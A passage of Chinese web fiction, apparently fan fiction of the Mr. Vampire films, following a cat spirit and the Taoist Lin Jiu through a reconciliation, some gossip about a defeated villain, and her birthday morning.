思索了半天,日常娱乐也只有看戏的林九,实在没有其他法子,于是闭上眼点头,勉为其难的答应了。 林九想,不能全靠秋生。 他自己也得实际做点什么,才能表达出他的诚意。 …… 没想到,戏还没看成,静之就先为他提心吊胆一次…… 第176章 再说我就跟你急 静之听到了蔗姑要给她过生日的消息,心里有着期待,又有点小纠结。 过生日的话,要见到他呢。 虽然知道他就在不远处,但她好像很久都没仔细的正眼看他了。 每次都是瞥一眼墙头的那个人就走。 想他,那是当然的。 只是想起他被一个女鬼亲了,她这心里就是一阵不爽快。 这种心情一直持续到了过生日的前一天。 “唉。” 静之叹口气,拿起剪子就开始给小雨剪越来越长的指甲。 她叹一口气,小雨就掀一次眼皮看向她。 他坐得板正,任由她剪着,尽管他知道,这指甲是他有力的武器。 但他又不想打架,所以指甲这玩意儿,对他来说,可有可无吧。 然而,对静之来说,剪掉它是必须的。 再不剪,她就没裙子穿了。 “唉~”想到这儿,她又叹了一声。 教小雨走路,犹如教小学生写作业。 小雨那个四肢好像新长出来的,蹦蹦跳他倒是挺熟练。 一旦走路,就是各种东倒西歪。 以至于他每次要摔倒的时候,都下意识牢牢抓住她的裙子。 除了她用皮毛化出的“本命白裙”有点防御力,她跟蔗姑去压街买的各种漂亮小裙子,都被他的指甲戳了个遍。 剪掉! 必须都给他剪掉! …… 蔗姑一般早上事儿比较多,下午三四点一般就闲了下来了。 这会儿她捧着脸,看着她在给小僵尸剪指甲,还时不时的叹气,她忍不住跷起脚,啧了一声。 “你这样没用的,他这是尸气催生的,他的尸气很重,你今天剪了,他明天就长出来了。” 静之挽起小雨的手看了看,又调皮的戳了戳他手背上的几个肉窝窝,“你看他像不像涂了黑色指甲油?” “像个屁,像得了灰指甲。”蔗姑对她翻了个白眼。 这女人每次一听到自己不爱听的话,就直接转移话题,真是的。 小雨现在听得懂好赖话了,知道蔗姑在吐槽他的指甲,慢慢能做一点表情的脸,开始变得不悦。 两片有些乌黑的嘴唇慢慢撅了起来。 蔗姑瞟了他一眼,从旁边菜篮子里拿了颗西红柿给他,“好好好,是我嘴快,吃吃吃,给你吃。” 小雨捧着西红柿,直勾勾的看着她,认真的说:“道歉。” 蔗姑嗐呀~一声,站了起来,一脚踩在凳子上,“我管你吃,管你喝,你叫我道歉?” 小雨:“我娘给你,钱了。” 蔗姑:“她给了,你没给。” 小雨突然无措:“……” 他把西红柿放下,往她的方向推了推,“不吃了。” “嘻嘻嘻。”静之嬉笑着,捧着脸看着他俩斗嘴,觉得有意思极了。 蔗姑看她笑了,挑了挑眉毛,“呦,终于笑啦?我还以为你要叹气叹到明天呢。” 静之的笑声戛然而止。 看着偷偷摸摸又把西红柿放在嘴里啃的小雨,她突然明白了。 “你俩搁我面前演戏呢?” 小雨跟只小老鼠似的,欢快的嘬着西红柿汁,还能腾出只手来指向蔗姑,“她,她教的。” 蔗姑一弹指打掉他指到她鼻头的手,“臭小子,我刚刚有句话可没说错啊,我给你吃给你喝,你就是这样告我黑状的?” 小雨默默又把皱巴巴的番茄皮递过去,“那……还你?” 蔗姑:“……你自己留着晚上宵夜吧。” 不再跟他插科打诨,蔗姑拍了拍椅子上的脚印坐下,手肘怼了怼静之胳膊。 “诶,说真的,现在庙里没人了,我们出去逛街吧,明天就过生日了,你总不能还穿这身吧,一身白,不吉利。” 静之低头看着纤尘不染,还泛着微光的裙子,“我看挺好。” 有一种半死不活的冷淡美,正符合她最近的心境。 “好个屁,你跟我出去走走!”她大力扯着静之的胳膊,把她一路拖出房间。 “你不许去,好好待在家里,待会回来,给你多加个西红柿!” 正穿斗篷的小雨,默默把斗篷又脱下,他伸出两根手指,“要两个。” “呲呲呲。”静之把头埋在蔗姑肩上,笑得一抖一抖的。 蔗姑看了她一眼,又偷偷朝小雨挥了挥拳头。 小屁孩,还学会讨价还价了。 “娘,她——” “好好好,两个就两个!我真是欠你们娘俩的!” 蔗姑无奈极了。 在静之嘴角含着笑意,挽着她的胳膊逛街时,她的心情又好了起来。 嘿嘿,这才是真正的姐妹。 她死去的胞妹,以前一向嫌弃她老土又粗鲁,不愿意跟她多往来。 可她蔗姑,才看不上她亲妹那副贪财样儿呢。 静之这样的刚刚好,又软又直,晚上还能变成猫猫给她rua,多好! (′?`)? “你笑得这么猥琐干什么?” 蔗姑一梗,大街上就开始挠起了静之痒痒。 “谁猥琐,你说谁猥琐?” “哈哈哈,我不说了,我猥琐,我猥琐!” …… 蔗姑有意带她出来透透气,买了几身衣服后,又带她去新开的餐厅,喝喝奶茶,吃吃小点心,随便聊点八卦。 直到日落西山,两人才大包小包的,开开心心的走回庙里。 回房前,静之还下意识的抬头看一眼那块儿熟悉的墙头。 空空的。 他今天还没来呢。 不会是她刚刚出门了,错过了吧? ……哼!才不管他。 静之收回眼神,把门关上,收拾起了今天刚买的东西。 决定好明天要穿的衣服后,她满意的将衣服撑起来挂好,就听到外头秋生惊恐的呼喊。 “师娘!师娘!快出来!我师父他受伤了!” 关上没几分钟的房门,突然被她“哐”的一声扇到墙上。 静之像一阵风一般,一直刮到秋生面前。 速度太快,以至于两缕鬓发还朝后飞舞着并未落下。 秋生被突然出现的她吓了一跳。 过了几秒才想起来要跟她说的事。 “边走边说!是不是在隔壁旅馆啊?” 静之扯着他的胳膊往外走。 望着反客为主的静之,秋生偷偷扯了一下嘴角,“啊,对对对,师父住306,你——” 还没等他说完,静之就撇下他,出门一个右拐直奔旅馆。 “不是说边走边说的嘛?”秋生停下脚步,摸了摸后脑勺,“算了,让她急一下也好。” 一听到秋生说林九受伤了,静之的心是提到了嗓子眼儿。 被谁伤了?伤到哪儿了?胳膊?腿?还是内脏啊? 不找大夫,来找她,是不是大夫都治不了了,才来找她? 静之越想越害怕,上楼梯的时候,腿肚子都在微微发抖。 几乎是一步三个阶梯,快速的往上爬,一楼门口的老板还没来得及拦下她,就失去了她的踪影。 “客人!来走访也要登记哒!” 后赶来的秋生敲了敲桌面,“没事,她去306坐一会儿,等会就走。” 老板抬头看了他一眼,“秋生啊?那个女人就是你师父日日等的那位?你师父不是——” 秋生手伸到柜台后,一把捂住他的嘴,“哎呀,小点声,她耳朵可灵了。” 老板扒拉下他的手,“切”了一声,“306诶,在3楼。” “那她也听得到。”秋生说。 老板慢慢坐下,拿着算盘又打了起来,边说:“……哼,反正我知道你们想干什么。苦肉计,有时候会适得其反的。” 秋生环着胸,侧靠在柜台边看他打算盘,听到这话,他撇了撇嘴,“对别人来说,可能会适得其反,她可紧张我师父了,这招好用得很。” “哦哟?”老板抬头,露出一个神秘莫测的微笑,“那我们就拭目以待吧,看看等会她下来是什么表情。” 秋生本来不慌不忙的,这会儿被他一个笑,笑得心里直发虚…… 另外一边。 已经冲到306房间门口的静之,见门没关,直接推门而入。 卧室里,一坐一站,林九衣衫半褪,背对着文才,文才正给他上着药。 他肩胛处一大片刮蹭到的伤口,此时已经微微结痂,黑黑红红一片,显得有些可怖。 但一看就是皮肉伤,那秋生还叫得那么急? 听到声音,两人皆回过头来。 见是她来了,林九面露惊喜,又有些尴尬。 “你来了?”他推开文才上药的手,将褪到腰际的白色中衣又穿了回去。 那中衣估计也是磨蹭到粗糙的地方,灰灰白白的,肩胛骨位置都划破了好几处。 静之当即皱起了眉头,“文才,你先出去。” 估计是眼神只专注于林九,她刚一转头,发现屋里空空荡荡的,哪里还有文才,就剩下他们两个人,门还被关上了。 她啧了一声,眼睛往左边一扫,然后走了过去。 面色如常的打开柜子,取出一件干净的中衣,走到他面前。 “……都破皮了,还穿着脏衣服,不怕感染吗?脱掉!” 林九愣愣的坐在床沿看着她,眼都不带眨一下的。 感觉像是过了好几年,没有这么近距离的看过她了。 他没有立刻脱下中衣,反而转身解下身上的荷包打开,从里头拿出一根他做了很久了的玉簪,递到她面前。 林九抿了抿有些苍白的嘴,耳根子却悄悄泛起一层红意,“送给你。” 静之垂眸的一刹那,忍不住又抬头死死盯着他的眼睛。 他,他想起来啦??? 这玉簪,分明就跟她上辈子摔坏的那根分外相似! 就连上头的七星连珠雕刻,也一样细细涂上了朱砂,就是好像还刻了一些不一样的符文。 “你……” 看着他害羞的神色,静之一下就醒悟过来。 只是巧合吧?如果是二娣,绝对不是这个表情。 林九捏着玉簪的手指头直发白,“那个……本来想明天再送你的,既然你来了,现在就送你。” 静之没接。 虽艰难,但她仍旧把眼神从簪子上挪开了。 “明天的事,明天再说,把脏衣服脱掉,你不是有洁癖吗?” 林九伸出去的手顿了一下,默默又收了回去,眼睫微垂,“对不起,这样式……姑娘家不喜欢的吧。” 他又昂起头急急解释道: “这上面刻了隐藏气息的阵法,以后,你就算遇到僵尸之类的邪物,也不会被它们发现了。” 静之听得心神一阵动荡,又被他那双满含情意和诚意的狗狗眼看得心中一悸。 想想小丽,想想小丽! 浮动的心神一下就冷却下去。 “脱衣服。” 那双眼睛瞬间黯淡了下去,微微勾起的嘴角也瞬间向下撇。 林九突然伸手紧紧箍住她的腰,“对不起,是我不好,我以后一定离其他女人,其他女鬼远点,你别……别这样对我,我心里难受。” 静之垂眸看着他长得有些长的头发,突然说: “头发有些长,等会去剪了吧,你不会想邋里邋遢帮我过生日吧?” 林九突然抬头,愣愣的看着她,嘴巴微张,一时间不明白她的意思。 “你……” 被他看得一阵脸热,静之捏住他的下巴,把他的脸转到一边去。 “我可还没原谅你,穿着脏衣服抱我,你是——” 还没说完,林九红着脸,把自己身上虚掩着的中衣一把脱掉,然后接过她手中的中衣就想穿上。 “等会,文才不是还没上好药吗,转过去。” 林九撑开衣服的手僵在空中,嘴角不受控制的,又开始向上飞。 也许是觉得自己丢脸,他赶紧背朝静之,顺便也把脸背对着她。 “谢谢。” 静之:啧,还怪有礼貌。 看着这么乖的林九,她倒是没有再多为难他。 洗干净手又擦干,然后拿起旁边椅子上还开着盖的药膏,挑起一点,轻轻的往他肩上抹。 抹第一下,她就看到他浑身一抖,然后两侧结实的臂膀上泛起一层鸡皮疙瘩。 “痛了?”她问。 “不痛。”林九立刻说。 啧,死要面子。 静之俯下身,边涂,边小心的给他吹吹,力道仿佛是羽毛划过皮肤,林九的鸡皮疙瘩就没下去过。 心里却是鼓鼓胀胀的。 “静之……” “嗯?”她的力道放得更轻了。 “我只爱你一个的。” 静之药膏快速一放,突然从后头用干净的那只手死死捂住他的嘴。 她咬牙切齿的在他耳边说: “再说一次那个字,我就跟你急!” 他真的是……防不胜防! 一天天的,就知道吓她! 林九的手死死捏住自己的膝盖,表情有些无措。 他只是,有感而发而已。 她不想听,那便不说了吧。 于是点点头,闭上了嘴。 静之合上瓶盖,站直身子,“好了,这回你可以穿上了。” 林九转过来,心不在焉的穿着中衣,眼睛直往她脸上瞅。 看不出什么情绪,林九心中有些忐忑。 他试探性问一句:“跟我回义庄吗?” 回去的话,就是原谅他了吧? 反正那个幕后黑手,已经被他和师兄处理了,那女鬼也送走了。 他们……终于可以好好的在一起了。 静之走到水盆旁边,慢悠悠洗着手,边说着: “过了明天再说,我答应了蔗姑,要在她这儿过生日的。” “……好。” 林九心想,没有拒绝,还跟他解释为什么不回去,应该……就是原谅了他吧。 林九心一喜,又从荷包里掏出一瓶小小的淡黄色香水递过去。 “送给你,桂花香味,不会太浓,我……找了很久。” 静之这回接过去了。 却是往手指头喷了一点,然后缓缓俯身靠近他那张越来越红的脸。 林九的心急剧加速中,眼睛越瞪越大。 她,她还愿意亲他吗? 呼吸渐渐打在对方脸上。 相贴的前一刻,她头一歪,涂了香水的手指轻轻捏住他滚烫的耳垂揉了揉。 然后凑近鼻子轻轻一嗅。 “很香。” “…………” 她退开身子,好心的远离那个满脸通红的男人。 转身出去前,她把香水放在桌上。 “明天来见我的时候喷上。” “别喷太多,我不喜欢太浓的味道。” 人都走远了,林九才缓缓捏上她捏过的耳垂,轻笑着,低声说: “……好。” 明天,他还有个东西要给她看。 他想,她应该会喜欢的吧? 第177章 惊天大瓜 “诶,下来了下来了!” “快假装没事!” 静之一下楼梯,就看到老板算盘打得飞起,而秋生正举着一本入住清单仔细翻阅。 好似听到脚步声,他放低册子,露出一张满是焦急的脸,“我师父怎么样了?” 静之翻了个白眼:“……本子拿反了。” 臭小子,还装! 一天天就知道套路她,亏她平时对他那么好。 秋生见他那点子伎俩被识破,册子一丢,挠着头,一脸讪笑,“我没骗你啊,我师父确实是受伤了嘛。” 静之看着人来人往的一楼,知道这里不是问话的地儿,于是扯着他就往外走。 等走到僻静的巷子里,她才停下脚步转头问:“你师父是怎么受伤的?” 秋生没回答她这个问题,反而打量着她的脸色,又撞一下她的肩膀问道: “你刚刚上去那么久……帮他上药啦?” 静之后退一步,轻轻拂了拂肩膀上不存在的灰尘,淡淡的说: “关你屁事。” “你不说的话,我回去了。”见他还面带揶揄,静之闭了闭眼,转头就走。 “喂喂!”秋生见她无甚所谓,真的走了,赶紧追上去,“急什么,我说就是了。” 静之环着胸,站在原地,板着脸看着他。 秋生清了清嗓子说: “不是有个人一直在背后害我们嘛,原来啊,他就是跟任老太爷当年不对付的风水先生。” “没想到人到七十,都耄耋之年了,居然还能老蚌生珠。” 嘛意思? 她怎么越听越糊涂了。 静之眉头渐渐皱了起来,她问: “阿……你师父不是说,石坚会出手的吗?” 秋生眉头微微一挑,阿九都不叫,难道他们还没和好啊? 也是。 如果当初小玉被别人亲了,还是主动亲别人的话,换做是当初的他,他也得怄上许久。 见自己的思维跑偏,他赶紧抹把脸,朝巷子口小心的看了一眼,才压低声音说: “你不知道,那个石少坚的亲爹,就是那个老道士。” “他们父子俩联合,坑骗了我师伯,本来想让石少坚多学一点茅山秘技的。” “而他欺骗任老太爷,还交代任老太爷二十年后迁坟,一方面是为了断任发的气运和香火。另一方面,是知道任老太爷必定会化为僵尸,想要将任家赶尽杀绝。” “这样他就可以坐收渔翁之利,钱有了,风水宝地,也有了!” “我师父,还有我们几个,纯纯就是冤大头,撞他枪口上了。” “哦对了!咱们义庄前面那个小树林你知道吧。” 静之被这爆炸性的八卦炸得一愣一愣的,小嘴半天合不上。 听到秋生问,她老实点点头,“知道。” 秋生手一拍,啪,又一摊。 “小树林没了,不仅没了,地上还被师伯的奔雷拳炸出一个巨大的坑!” “那老道士连骨灰渣子都不剩,魂魄还被我师伯炼化了。” 边说着,秋生还面朝天,张开双臂,不住感叹石坚的牛逼。 听他这么说,静之是越发的困惑,“那你师父怎么会受伤的?” 秋生嘿嘿一笑,“误伤!纯粹是我师伯气疯了,敌我不分,一顿狂轰乱炸,要不是我和文才站得远,估计也得被我师伯炸翻天哦~” 静之:“……哦。” 信息量太大,她得回去好好缓缓。 秋生亦步亦趋跟在她旁边不停叨叨,“喂喂,别走啊,我还没说完呢,还有一个大八卦,你不听,但是我想说啊!” 静之:“你说呗,我看你这八卦程度,跟蔗姑有的一拼哦。” 秋生:“没事,我跟你说完,我再去跟她说说,太精彩了,一定要让大家都知道!” 他这么说,反倒真提起她的兴趣了。 “还有什么精彩的八卦?” 秋生眉毛一动一动的,坏笑着说: “知道我师伯为什么那么生气不?” 为了听点儿八卦,静之被迫捧哏: “为什么?” “小丽之前跟我们说,她住在下面很深的地方,原来啊,她是鬼王选中的鬼后,不过是被迫的那种啦。” “啧。”她不想知道小丽的事儿,停滞的脚步,又开始前行,走到蔗姑庙门口,她甚至把秋生往外推。 “赶紧走!” 秋生八卦说一半难受得很,他扒着门缝一通输出。 “她跟我师伯日久生情啦!不过是她单方面爱我师伯!” “我师伯本想炼化她,但是她替我师伯挡了那个老道士的一个阴招,鬼命都去了半条!” “我师伯后来决定不炼化她,没想到这一天天的被小丽缠得要死,还说要嫁给他,我师伯恼羞成怒了,所以才这么生气的!” 静之的下巴彻底合不上了。 好半晌,她才扒着门檐问: “你是躲在人家屋顶偷听的?你怎么知道得这么清楚?” 秋生斜斜靠在屋檐下说:“嗐,还用得着偷听?道门中人都传遍了,我师伯这回这个掌门之位,能不能保得住,都玄喽!” “要当掌门,就不能娶个鬼老婆,想要老婆,就不能当掌门,鱼和熊掌,不可兼得嘛~” 静之:“……你管人家这么多,回去好好照顾你师父。” 秋生立正朝静之敬个礼,“收到!师娘吩咐,怎敢不从!走啦!” 秋生说完八卦,神清气爽的样子,转身就朝巷子外头走去…… 徒留懵着脸,站在门口消化的静之。 这半个月,原来发生了这么多事吗? 那他……还日日抽空来看她。 她可记得,石家村离这里很远的…… …… 晚上睡前,蔗姑知道有八卦听,拿着枕头过来,非要跟她一起睡。 刚走到她房门口,一个石子就瞄准她的背,破空而来。 蔗姑微微侧过身子,轻轻松松接住那颗带着轻微桂花香气的石子,有些无语。 她朝外头大声嚷嚷: “林正英,别以为我不知道是你!我就要跟她睡觉!有本事你进来打我呀!” 月色清清,院墙外一片寂静,蔗姑露出一个胜利的笑容。 大拇指一抹鼻子,鼻息发出一声轻哼,推开静之的门,快速走进去。 然后关门,反锁,吹熄烛火,一气呵成。 刚刚正盘腿修炼的静之,此时睁着微微发亮的眼睛,一脸疑惑的看着她。 “你干什么?” 蔗姑枕头往床上一扔,然后搓着手,hia hia hia~的,奸笑着走过来。 “漂亮妞,大爷我今晚来宠幸你了,快把你知道的八卦交出来!” 静之伸出双手,掐住蔗姑软绵绵的脸颊肉,一脸认真的说: “别笑得这么猥琐。” 话刚说出口,她直接被蔗姑推倒在床上,疯狂被挠着腋下的痒痒肉。 “哈哈哈,我不敢了不敢了!放手放手!我投降!” “蔗姑蔗姑,救命啊,别挠了,哈哈哈!” 外面墙头伸出三个人头,分别是秋生,林九,和文才。 秋生两手垫在下巴上,二十几岁的人,此时竟笑得一脸和蔼。 “师父,其实不一定要叫她回去嘛,你看人家在这里过得多开心,整天笑嘻嘻的。” 文才看着那两个打打闹闹到房间走廊里的姑娘,突然“唉”了一声,“婷婷在这里就好了,她们三个肯定处得来。” 秋生侧过头问:“喂,你请帖送到了吗,她明天会来吗?” 文才突然心生警惕,“送是送到了,来不来,要看她明天有没有空。” 秋生:“……臭小子!公平竞争啊!” 文才:“才不要!师兄你都不是童子了,婷婷肯定嫌弃你!” “你tm!” 两人跃下墙头,一路从巷子尾打到巷子口。 庙里头热闹,庙外头也热闹。 林九翻身一跃,静静的半蹲在墙头。 满是深情的眼里,只有她一人的笑颜。 “喂,墙头上坐着个人……你不过去跟他说说话?”蔗姑挎着静之的胳膊,在她耳边小声嘀咕。 静之一抬头,便与他那双含情脉脉的眼神对视上了。 “……有,有什么好聊的。”她被他盯得说话都有些不利索,扯着蔗姑从走廊尽头慢慢走过来。 那个位置,离她房间的门口最近。 越往她房间走,离他越近。 她只觉得,她的左半边侧脸,都要被他盯化了。 余光不由自主的瞄了他的方向一眼。 竟发现,他不是坐着的,而是半蹲着的,蹲的姿势,还挺帅气。 话说,他好像真去剪头发了。 鬓角两侧推平上去,只余小小的发茬。 额上的刘海,也修得短短的,拨到了后边,露出了宽阔的额头和两道浓密的剑眉。 剃完头的他,好像又帅了。 静之的脸,不争气的红了。 偏偏今晚月光正好,那抹红意尽入林九眼里。 眼瞅着她就要破功了,蔗姑一把将静之推入房内,然后哐的一声把门掩上。 “看什么看!没看过美女啊!” 林九不想与她多讲,见静之进去了,他索性跳下墙头,回去睡觉。 毕竟,他明天还有正事要做。 见她,可不能有黑眼圈…… 然而…… …… 半夜。 蔗姑抱着静之的胳膊,睡得正死,嘴边还扬起一抹笑容,“嘿嘿,小猫,我的……zzz……” 突然,空气中响起两声轻响,她的穴道就被点上了。 蔗姑唰的一睁眼,发现身不能动,口不能言,只能转动着眼球看向来人。 蔗姑眼神里充满不可置信和愤恨。 林正英你这个狗比,你搞偷袭!!! 林九读懂了她的眼神,默默把被子往上一撩,盖住她的脸。 然后把她身旁熟睡中的人儿挖走。 小猫,是他的,是他一个人的。 也许是久未与他接近,静之潜意识里甚是想念,竟未曾醒来,只是睡得红扑扑的脸颊不由自主的,轻轻蹭了蹭他的胸膛。 蹭得林九的一颗心都软了。 抱着她来到隔壁房间,一同躺在一个被窝里,林九却不敢离她太近,怕吵醒她。 他守了半个月了,他知道她一直都是自己一个人睡的,最后一天了,可不能让蔗姑有机可乘! 大冬天的,暖被窝突然变成凉被窝,静之眉头微蹙。 身子下意识往床上的热源伸去,双手双脚像猿猴攀石似的,死死扒在林九身上。 他屏住呼吸,虚虚拥着她,听了好一会儿她的呼吸。 待她呼吸又变得绵长后,他这才悄悄松了口气。 “小磨人精,我明天再来看你。” 他垂眸看着她微翘的眼睫,食指虚虚点了下她鼻头上方的空气。 仿佛是在回应他,静之嘤咛一声,又将他箍紧了一点,“阿九…zzz…不许亲别人…zz …我会…zz …生气的……zzz……” 尽管知道她说的是梦话,林九依旧认真的点头答应。 “好,以后,我会离其他女性远远的。” 仿佛接收到他的承诺,静之的嘴角渐渐勾起。 “好…zzz…想你…zzz…阿九……” 她是在回应他,还是在说【好想你】? 林九开始怀疑她到底睡没睡着。 等了许久,见她嘴角都泛出一丝晶莹了,林九才确认,这小磨人精是真睡着了。 林九慢慢低头,在她唇上印上轻柔一吻,又深深的看着她的睡颜,小声又坚定的说: “半个月后,你一定会是我林九的妻。” “小猫,是我的。” “我一个人的。” 第178章 静之,生辰快乐。 这一夜,所有人都睡得很好。 除了蔗姑。 薄雾散开,天色渐渐亮起,静之的眼皮微微转动了下,刚想抬手伸个懒腰,就发现左手热热的。 可见已经被牵了许久。 “蔗姑,别闹了,起床。” 眼睛还未睁开,她就嘟囔了一句。 刚说完,一块白色的布巾就覆盖住她的脸。 “怎么,昨晚还没玩够,一早就要送我上西天啊?” 她正勾唇笑着,某人就隔着温热的布巾贴了上去。 “别这样,女女授受不亲……阿九?” 手指划拉到他的长指甲的时候,静之惊讶出声,右手抵住他下沉的肩膀推开。 林九掀开布巾,轻轻为她擦着脸,然后在她惊讶到微张的小嘴上,又浅啄了一口。 “静之,生辰快乐。” 真好,他是今天第一个跟她说这句话的人。 静之一时语塞,“不是,你……她……我,我没漱口。” 林九露出一个宠溺的微笑,“我不介意。” “……切。” 静之红着耳朵,侧头看向房间布置。 这不是蔗姑房间吗? 她不是在她房间睡觉吗? 怎么跑到这里来了。 林九:“她在你房间,不跟她睡,你大了,要自己睡。” 湿润温热的感觉一下一下蹭着她的脸,静之一把捏住他拿着毛巾的右手。 一大早的,她还是有点懵。 “自己睡就自己睡,一直擦嘴干什么?” 林九无辜回望,“你昨晚睡觉流口水了。” “……” 血液突然涌上头顶,她的脸腾的一下全红了。 静之坐起来夺过他手中的布巾,边擦边小声嘀咕,“是不是变态,半夜不睡觉,来这里偷看我睡觉。” 林九选择性耳聋。 他拿着静之备好的新衣服走过来,就在这时,一条水黄色的东西随着他的走动飘落到他脚下。 他还没看清楚是什么,静之一把掀开被子,夺步上前,将那东西捡起来掩至身后,一张伶俐的巧嘴这时也突然磕巴了起来。 “你,你放床上,我自己穿。” 林九举着衣服略略看了两眼,然后放下,“有些薄,天冷了,你要多穿点。” 边说着,他转身来到桌子前面,背对着她,手里不知道在摸索着什么,一看就是不想出去的样子。 静之看着他的背影,忍不住努努嘴。 讨厌,还没说原谅他呢,就这么闯进来了。 蔗姑怎么都没提醒她一下? 隔壁还被定着的,腰酸背痛的蔗姑已经在心里骂累了。 该死的林正英,她要跟他绝交!!! 等她换好衣服,林九适时转过身站起来,将一件底色为枣红色,还带着毛绒绒白色边边的斗篷披在她肩上。 她刚想说不用,手里就被塞进来一个同款暖手热水袋,热水袋外头包着一层毛绒绒的白色套子。 手贴上去,不会太烫手,温度正好合适。 想拒绝的心,一下就收了回去。 看着在她跟前,给她系着斗篷绑带的林九,静之有些不自在的别过脸去,小小声说: “谢谢。” 林九:还挺乖。 他系好后,双手向后,帮她把睡了一夜,有些凌乱的头发从斗篷里拨出来,“不客气。” 边说着,他把她拉到梳妆台前,“坐下,我帮你梳头发。” 从镜子里面,静之可以看到,他今天精心打扮过了。 头发丝每一根都服服帖帖的梳到后头去,身上穿着那件她送的袍子,整个人精神奕奕的,但是她就是觉得好像有哪里不一样了。 哦,对了! “你把胡子都刮掉干什么?” 林九拿着梳子的手一紧,看着镜中有些陌生的自己,淡淡一笑,很自然的说: “没什么,想刮就刮了。” 神神秘秘的。 她撇了下嘴,“……哦。” 静之还是不习惯被人伺候,转过头就想接手他手里的梳子,“我自己来吧。” 林九把梳子举高高,“今天,不用你动手。” “你会吗?”她顿了一下,才问。 “我学过了,你放心。”他回答。 静之嘴角的笑容渐渐消失,“从哪里学的?” “……” 林九眼神微微闪烁,又哑巴上了。 静之垂下眸子看着斗篷前被系成蝴蝶结的带子,以及那两颗毛绒绒的小球球,暗暗叹了口气。 算了,他也算是有心了。 静之:“那你快点。” 林九:“嗯。” 林九轻轻柔柔的为她梳着发,却发现不用怎么梳,她的头发柔滑顺直,才顺了两下,满头白丝就像铺了一层银涟在身后。 林九摸了摸怀里的东西,于是想着之前学过的发髻,细细的将她半头发丝挽在脑后。 然后拿出那根昨天没送出去的簪子,轻轻的插在发髻上。 “抱歉,时间来不及了。下次,我再做一根其他样式的送你。” 静之摸了摸脑后那温润的发簪,心里不禁涌起一阵暖流。 他第一时间顾虑到的,还是她的安危呢。 今天就不跟他杠了。 “好。” 听到她的回答,林九提起的心这才慢慢放下,他这礼物,终于算是送出去了。 想到这儿,他从怀里掏出那瓶淡黄色的香水,喷了一点到手指上,然后—— 捏住她的耳垂轻揉。 静之:得!天道好轮回,要整他,结果整到自己身上了。 静之按下他的手,接过他手心的小瓶子,转头拉过他的手腕,“不是这样用的。” 她举起瓶子,喷了一点到他腕部的脉搏处,然后在他怔住了的眼神中,缓缓靠近。 解开他脖颈处的第一颗扣子,食指轻轻摁在他跳动着的动脉上,“喷在这两个位置,香气会跟着血液的流淌和温热的体温,渐渐扩散开来。” “呲。” 喷这一下,让他的心跳顿时漏了半拍。 “……会了。” 他接过瓶子,拿起她的手腕给她喷上。 喷到脖颈处的时候,静之不让他解斗篷,只是微微侧过头,把雪白的脖颈展露在他面前,“就这样弄。” 林九心里的魔鬼突然浮现: 【还喷啥,是不是很想啃一下?】 心里的天使一下也窜了出来: 【今天是她的生日,林九,把你的自持和理智给我掏出来!】 林九两个掏出来了。 只是喷好以后,他忍不住搂住她,在她脖间轻嗅。 “静之……” 卡壳的林九只会唤这句话。 被他今天温柔贴心的举动,迷昏了头的静之居然也没有挣扎,她甚至侧头说了一句: “今天,只许你叫我卿卿。” 林九愣了一下,然后悄悄收紧她腰间的双臂,上扬的眉尾渐渐放平,嘴角却偷偷往上扬。 “好……卿卿。” 就在两人的眼神天雷勾动地火的时候—— “彭!!” 房门被一脚踹开。 “林静之,你给我矜持一点,我教你的东西,你都学到狗肚子里去了?!” “还有你,林正英,你给我滚出来,我要跟你单挑!” 声音响起的一刹那,两人早就弹开身子,有些尴尬的,各自站在梳妆桌一角。 林九脸有些黑,“师妹,今天是她生辰,我希望你适可而止。” 冲进来的蔗姑看着这个没皮没脸的人,气得咬牙切齿。 她磨了半天牙,又看向朝她笑得和煦的静之。 姑奶奶呦,还搁这笑着呢。 “蔗姑早上好!”她软软的说。 蔗姑别扭的别过头去,松了松坚硬了一宿的肩膀。 算了,这仇以后再报,她还是不舍得让她为难,特别还是在这个日子。 蔗姑哼了一声,冲过来一把薅走林九身边的静之。 “走走走,别理那个臭不要脸的,你说的那位婷婷小姐一大早就来了,还送了很多礼物呢,咱们看看礼物去。” 静之边走边问:“你今天不先开庙吗?” 嘴巴问着,还不时回头看一眼身后朝她微笑着的林九。 笑笑笑,一大早就发春! 真是……顶不住。 “还看?!不许看!” 蔗姑恨铁不成钢的捂住她的眼睛,“我昨天贴告示了,今天休息,今天我可是有安排的哦,除了晚上一起看戏,今天你都是属于我和婷婷的,别跟那个臭不要脸的一起。” 她转头瞪了林九一眼,又着重提醒道: “不许给我恋爱脑上头。” 痛失本名,化身为【臭不要脸的】的林九此时幼稚的朝蔗姑勾起一抹微笑。 腿长在他身上,他爱往哪里走,她管不着。 蔗姑被他笑得一肚子火,竟失去理智,不怕死的朝他竖了个中指,“幼稚鬼!” 躲在一旁柱子后头的秋生和文才,边笑,边为蔗姑感到担忧。 “哇,蔗姑真有胆,我还是第一次见到有人敢向师父竖中指的。” 文才小声嗡嗡,“谁说不是,师父心眼儿可小了。” 事实证明,别在人后说人坏话。 林九一个闪现站在二人身旁,皮笑肉不笑的说: “还不去做早饭?” 妈呀! 这死亡微笑未免离他太近了。 秋生咕咚一声,咽了口口水,连退三步,一屁股坐到走廊边的石椅上,这才指指东街口,“婷婷说她们家在那儿开了茶楼分店,今天请大家一起去喝早茶。” 林九顿了一下,理一理身上没有一根褶皱的袍子,然后背着手大步往外走。 “还不走?还要我过去请你们吗?” “来了来了!” 秋生边应着,边站起来跟在林九身后,从上到下打量着林九的背影,然后撞了撞文才的肩膀问: “喂,你有没有觉得师父今天有点骚包啊?” 文才掰着手指头细数着:“还行吧,也就是头发打了发蜡,胡须剃得干净,衣服熨了三遍,连鞋袜都是新的,揉了一早上的耳垂,意图用香水把自己腌入味,就没别的了。” 秋生环着胸,啧啧啧个不停,“得,以前是闷骚,现在是明着骚~” “秋生!!!” 林九从门口传来的一声怒吼,让走到庭院的两人虎躯一震。 “来啦来啦!” …… 第179章 林九到底要干嘛 婷婷是留过洋回来的,就算穿衣风格现在偏中式了,她对其他东西的审美,也依旧保留了西方的特点。 一间茶楼,给她装修成中西合并的效果,茶楼里不再是中规中矩的四方桌和长条椅,反而用上了长方形带欧式花边的桌子,面对面的两张双人位沙发隔成一个又一个小小的卡座。 那么问题就来了。 三位女士,加上三位男士,坐一桌嫌多,坐两桌嫌少。 最关键的是——静之旁边的位置归谁。 …… “老板早上好!” “老板早上好!” 茶楼众伙计皆毕恭毕敬,对走在最前头的女子鞠躬打招呼。 他们统一着装,都是西式的waitter服,静之一看,还以为自己穿越回了90年代的香港。 婷婷可以啊! 这跟她那个时代的港式茶餐厅都没什么两样了。 